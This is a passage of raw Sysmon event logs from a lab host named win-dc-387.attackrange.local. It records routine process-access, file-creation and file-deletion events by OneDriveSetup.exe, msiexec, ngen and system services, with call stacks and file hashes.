Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6E01-613B-E106-00000000F001}7104C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000044000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043998Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043997Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043996Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043995Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-65DF-613B-7D00-00000000F001}3512C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043994Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.541{7BD73061-6F42-613B-0209-00000000F001}66121916C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe{7BD73061-65DF-613B-7C00-00000000F001}3596C:\Windows\system32\WinrsHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e156e|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+dab69|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+db081|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+daddf|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+d024b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+cf729|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+de6e6|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e6a52|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+e285b|C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exe+df7ba|C:\Windows\SYSTEM32\ntdll.dll+2b644(wow64)|C:\Windows\SYSTEM32\ntdll.dll+34f26(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64) 10341000x800000000000000043993Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.531{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-2E09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000043992Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:44.521{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\OneDriveSetup.exe2021-09-10 14:44:44.521 10341000x800000000000000043991Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.511{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-2E09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043990Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.511{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-2E09-00000000F001}6668C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043989Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.477{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-2D09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043988Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.431{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-2D09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043987Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.431{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F5C-613B-2D09-00000000F001}4896C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043986Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.401{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F5C-613B-2C09-00000000F001}6904C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043985Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.391{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2BDBE6B10EA6C0A8C5F36D056048BE6E,SHA256=32F9C3CBA1DD1C3E16E58DD90F54B024B2555F91F96A4839D640CD6BDB9AD130,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043984Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.381{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\inprogressinstallinfo.ipiMD5=BC0FB846D058B5D40FF37E15DD83BA3B,SHA256=4043D7C58067047B296E56992F617B1591AFC69855C6E640F7B26981D3536333,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043983Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.381{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3CA044B37FDB4C33.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043982Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.381{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF68A90DC03E193A60.TMPMD5=BC0FB846D058B5D40FF37E15DD83BA3B,SHA256=4043D7C58067047B296E56992F617B1591AFC69855C6E640F7B26981D3536333,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043981Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.381{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF3BCBC96FCAC0E407.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043980Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.381{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF52ADCBDB5990651C.TMPMD5=BC0FB846D058B5D40FF37E15DD83BA3B,SHA256=4043D7C58067047B296E56992F617B1591AFC69855C6E640F7B26981D3536333,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043979Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.379{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\22b142.msiMD5=4A67BE63EE3A210DEAD1DFD56C3B87A8,SHA256=CF5AE9A4C62484F328FF20951678D7D795CBB0CA60BE43DDA1310FF02C2D50E1,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043978Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:44.376{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F5C-613B-2C09-00000000F001}6904C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043977Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 